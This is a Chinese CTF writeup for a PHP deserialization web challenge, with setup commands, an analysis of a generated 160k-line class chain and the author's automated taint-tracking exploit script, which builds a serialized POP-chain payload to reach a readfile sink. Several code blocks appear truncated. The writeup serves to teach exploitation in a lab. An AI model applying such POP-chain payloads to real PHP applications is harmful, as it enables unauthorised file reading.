Tags: web
Rating:
# FUMO on the Christmas tree
~~致敬,都\*\*的是致敬~~
本题致敬了强网杯的`POP master`一题,并加强了难度。
# How to Start and Stop
## start
```shell
docker-compose up -d
```
## stop
```shell
docker-compose down --rmi all
```
# Writeup
很明显,应对16w行的代码,最高效的方法必然是自动化审计。
## 代码特征分析
我们下载下来代码先进行简单审计。发现整个代码有以下特征:
### 起点
整个代码中唯一的起点是`__destruct`,里面有`_GET`变量作为输入继续传递下去。
![image-20220101153936548](https://gitee.com/AFKL/image/raw/master/img/image-20220101153936548.png)
### 终点
整个代码中有多个类似的代码片段:`if(stripos([_GET], "/fumo") === 0) readfile(strtolower([_GET]));`。代码的目的是读取根目录的`/fumo`并输出至浏览器。那么猜测这里就是整个代码的终点。
另外一个比较难注意到的点。一部分节点会指向根节点,导致在一些情况下代码运行进入死循环。
### 中间
每个类有且只有一个公共方法。每个方法都会有将`_GET`变量的数据传递到下一个方法的代码片段(终点方法除外)。
#### 魔术方法
这些公共方法中有有些是魔法方法,共有以下几种:
- `__invoke`
- `__call`
- `__destruct`(起点方法)
忽略唯一的起点方法,每个魔术方法内的代码都有固定的格式:
`__invoke`方法为:
```php
public function __invoke($value) {
$key = base64_decode('VERHNGdO');
@$this->gs8sn9lQ->TVPLXO($value[$key]);
}
```
`__call`方法的代码比较复杂,以下列出并分析:
```php
public function __call($name, $value) {
// 将`$name`对应的变量的值,改为代码定死的值。这里将定死的值称为`a`
extract([$name => 'XG4X73PzX']);
/**
* 这里`$NwfyBTG6`的值从未指定,那么推测上面的`extract`函数便是对其赋值。
* 另外`NwfyBTG6`是由`$name`变量指定的
* 那么`NwfyBTG6`应当是上一个调用方法的名字
*/
if (is_callable([$this->LCtWriB, $NwfyBTG6]))
// 这里的`a`值被当作方法名被调用。那么`a`值所代表的就是下一个方法名
call_user_func([$this->LCtWriB, $NwfyBTG6], ...$value);
}
```
那么整个代码便可以化简为:
```php
public function __call($name, $value) {
if (is_callable([$this->LCtWriB, 'XG4X73PzX'])) @$this->LCtWriB->XG4X73PzX(...$value);
}
```
#### 普通方法
普通方法中进入下一层的代码片段有以下两种:
1. `@call_user_func($this->[a], ['[key]' => [_GET]]);`
2. `if (is_callable([$this->[a], '[b]'])) @$this->[a]->[b]($value);`
对于第一种,向下传递的`_GET`的值会变成一个键值对。会处理键值对的代码只有`__invoke`方法中有。
```php
public function __invoke($value) {
$key = base64_decode('VERHNGdO'); // 获取键值
// 将键值对的值取出传递到下一个方法
@$this->gs8sn9lQ->TVPLXO($value[$key]);
}
```
同时`call_user_func`中的第一个参数也是一个属性,但这个属性的类型规定了是`object`,那么也可以推出,这里应当是调用`__invoke`方法。
对于第二种,代码会判断`[$this->[a], '[b]']`这个方法是否可调用。需要注意的是,`__call`方法可以使这个判断永久为`true`。
![image-20220101163613446](https://gitee.com/AFKL/image/raw/master/img/image-20220101163613446.png)
普通方法的代码也有固定格式,如下:
```php
public function f78sawV9g3($S34lPGS) {
@$S34lPGS = $S34lPGS;
if (is_callable([$this->YqV0xuthgr, 'NwfyBTG6'])) @$this->YqV0xuthgr->NwfyBTG6($S34lPGS);
if (is_callable([$this->KEGAvw8KeX, 'si4Byp'])) @$this->KEGAvw8KeX->si4Byp($S34lPGS);
}
```
这里可以将代码的流向视为为二叉树,他们所指向的下一个节点是唯一的。
### 变量消毒
在普通方法中有以下几种会对变量消毒的方法。
#### 有效消毒
|消毒方法|对应代码|
|:-:|:-|
|md5|`@$input_value = md5($input_value);`|
|crypt|`@$input_value = crypt($input_value, 'rand_value');`|
|sha1|`@$input_value = sha1($input_value);`|
|无效值传递|`@$input_value = $rand_value;`|
#### 无效消毒
|消毒方法|对应代码|
|:-:|:-|
|str_rot13|`@$input_value = str_rot13($input_value);`|
|base64_decode|`@$input_value = base64_decode($input_value);`|
|strrev|`@$input_value = strrev($input_value);`|
|原值传递|`@$input_value = $input_value;`|
#### 特殊消毒
|消毒方法|对应代码|特殊原因|
|:-:|:-|:-|
|ucfirst|`@$input_value = ucfirst($input_value);`|在`base64_decode`前调用的话,如果`decode`的字符串第一个字母是小写,那么必定会解密失败|
|base64_encode|`@$input_value = base64_encode($input_value);`|在之后调用base64_decode的话就算无效消毒,没有调用便是有效消毒|
## 污点追踪
### 出题人自己的解法
可以看到,每个传递`_GET`值的代码片段的流向是唯一的。那么我们便可以通过此来构建一个表,来存储代码流向的键值对,在构建流向的时候只需要查表即可。
同时为了简化污点追踪的流程,我将关键点位的函数进行`hook`,并利用流向表对类属性进行替换赋值。在完成这些操作后我只需要将替换后的代码跑一次即可。
以下是我的`exp.php`代码分析,源码请见`exp`文件夹。
```php
([A-Za-z0-9]+)->([A-Za-z0-9]+)\(.*?\);';
$match_invoke = 'call_user_func\(\$this->([A-Za-z0-9]+), \[\'([A-Za-z0-9/=]+)\' => \$[A-Za-z0-9]+\]\)';
$match_call_next_method_name = 'extract\(\[\$name => \'([A-Za-z0-9]+)\'\]\);';
$match_call_last_method_name = 'call_user_func\(\[\$this->([A-Za-z0-9]+), \$([A-Za-z0-9]+)\], \.\.\.\$value\)';
$filename = "./test.php";
$data_list = file($filename);
$data = file_get_contents($filename);
// 获取原生类的数量
$raw_class_len = count(get_declared_classes());
include_once("test.php");
// 获取导入class后的类数量
$class_list = get_declared_classes();
$class_list = array_splice($class_list, $raw_class_len);
$start_class = "";
// 构建流向表
$method_list = [];
foreach ($class_list as $key => $class) {
if (method_exists($class, "__call")) {
$call_start_line = (new ReflectionClass($class))->getMethods()[0]->getStartLine();
$call_code = $data_list[$call_start_line + 2];
preg_match("~$match_call_last_method_name~", $call_code, $match);
$method_list['__call'][$match[2]] = $class;
} else if (method_exists($class, "__invoke")) {
$call_start_line = (new ReflectionClass($class))->getMethods()[0]->getStartLine();
$call_code = $data_list[$call_start_line];
preg_match("/base64_decode\('([A-Za-z0-9\/=]+)'\)/im", $call_code, $match);
$method_list['__invoke'][$match[1]] = $class; // 可以通过获取传入__invoke值的键值构建
} else {
$re_class = new ReflectionClass($class);
$method_name = $re_class->getMethods()[0]->name;
$method_list['normal'][$method_name] = $class;
if (method_exists($class, "__destruct")) {
$start_class = $class;
}
}
}
preg_match_all(
"~$match_normal~",
$data, $matches_normal
);
preg_match_all(
"~$match_invoke~",
$data, $matches_invoke
);
preg_match_all(
"~$match_call_next_method_name~",
$data, $matches_next_call
);
preg_match_all(
"~$match_call_last_method_name~",
$data, $matches_last_call
);
/**
* 将对应的field进行赋值
* e.g.
* $this->aaa->aaa() => ($this->aaa = new aaa)->aaa()
*/
function set_field($field_name, $class_name, $data) {
$class_name = str_replace("christmasTree\\", "", $class_name);
return str_replace("\$this->$field_name", "(\$this->$field_name = new $class_name)", $data);
}
if($matches_normal || $matches_invoke || $matches_call){
// 对普通方法进行处理
foreach ($matches_normal[1] as $id => $field_name) {
if (!empty($field_name)) {
// 当下一个也是普通方法时
$class_name = $method_list['normal'][$matches_normal[2][$id]];
if ($class_name !== null) {
$data = set_field($field_name, $class_name, $data);
continue;
}
// 如果没有在普通方法表中没有找到,证明下一个是__call方法
$class_name = $method_list['__call'][$matches_normal[2][$id]];
if ($class_name !== null) {
$data = set_field($field_name, $class_name, $data);
continue;
}
} else {
continue;
}
}
// 对__invoke进行替换
foreach ($matches_invoke[1] as $id => $field_name) {
if (!empty($field_name)) {
// 对key值解base64编码
$invoke_key = base64_encode($matches_invoke[2][$id]);
$class_name = $method_list['__invoke'][$invoke_key];
if ($class_name !== null) {
$invoke = new ReflectionMethod($class_name, '__invoke');
$line_id = $invoke->getStartLine();
if (strpos($data_list[$line_id], $invoke_key) !== false) {
$data = set_field($field_name, $class_name, $data);
continue;
}
}
} else {
continue;
}
}
// 对__call方法进行处理
foreach ($matches_last_call[1] as $id => $field_name) {
if (!empty($field_name)) {
$class_name = $method_list['normal'][$matches_next_call[1][$id]];
if ($class_name !== null) {
$data = set_field($field_name, $class_name, $data);
continue;
}
} else {
continue;
}
}
}
// 将普通函数替换为我们的hook函数,hook函数会将当前对象传入。
$data = str_replace(
["str_rot13(", "ucfirst(", "strrev(", "readfile(", "base64_decode($"],
["fake_str_rot13(\$this,", "fake_ucfirst(\$this,", "fake_strrev(\$this,", "fake_readfile(\$this,", "fake_base64_decode(\$this,$"],
$data
);
preg_match($match_start, $data, $start);
$get_expr = $start[0];
$get_value = $start[1];
// 一些为了方便写的替换
$data = str_replace($get_expr, "input", $data);
$data = preg_replace("/function __destruct\(.*\)/i", "function start(\$input)", $data);
/**
* 对已经执行过的进行标解,作用是防止返回根节点的代码。
* 原理是新增一个静态变量,初始值是false,
* 当第一次使用时判断是否为false,如果是便
* 继续执行代码,并修改为true。当遇到返回
* 根节点这样的环时,因为已经执行过一次,所
* 以会直接return中断代码。
*/
$data = str_replace(" \n public object", " public static \$is_used = false;\n public object", $data);
$data = str_replace(") {\n", ") {\n\t\tif (!self::\$is_used) self::\$is_used = true; else return;\n", $data);
// 将替换完毕的代码写入另一个文件。
file_put_contents("./test-copy.php", $data);
$code = << \$_) {
\$start->\$field = \$last_class;
}
\$last_class = \$start;
}
}
}
}
include "./test-copy.php";
(new $start_class)->start(\$input);
\$real_value = \$input;
foreach (\$real_list as \$function) {
if (\$function !== NULL) {
\$real_value = \$function(\$real_value);
}
}
var_dump(serialize(\$start));
var_dump(urlencode(serialize(\$start)));
var_dump("$get_value=".\$real_value);
CODE;
// 写入poc.php
file_put_contents("poc.php", $code);
```
```php
/* hook函数 */
$_) {
$start->$field = $last_class;
}
$last_class = $start;
}
}
}
}
// 开始执行代码
include "./test-copy.php";
(new christmasTree\WG7N5R3Mgx)->start($input);
// 对输入的值进行编码
$real_value = $input;
foreach ($real_list as $function) {
if ($function !== NULL) {
$real_value = $function($real_value);
}
}
var_dump(serialize($start));
var_dump(urlencode(serialize($start)));
var_dump("W62OWE=".$real_value);
```
### 其它解法
我提取了前20名部分wp的代码,并放入`exp`文件夹中,欢迎大家学习。
因为是从pdf扒下来的,可能会有缩进问题,这里pdf也截图也一并放上。
如果你有更好的思路,欢迎提交PR与大家分享!
## 非预期
由于没有动态靶机,本题没有办法强制刷新代码。导致有的队友可以对同一代码进行长时间审计。某队伍通过眼看,硬审了16w行代码...
![焯](https://syimg.3dmgame.com/uploadimg/upload/image/20211210/20211210140951_97362.gif)
反正我心态是崩了...
# 代码生成器
详细代码可见`./server/code`。为了方便代码的生成,我将`php`部分抽象为类,利用`__str__`方法对代码进行生成。
在这里称变量没有被有效消毒的链为活链,变量被有效消毒的链为死链。
代码的生成逻辑如下:
1. 生成一条长度为20的活链,这里称为根链。
2. 在这条链的基础上,通过迭代产生更短的死链。
3. 在迭代的过程中,将死链拼接在链上,形成一条二叉树。
4. 随机将部分终点的`readfile`替换为指向根节点的代码片段。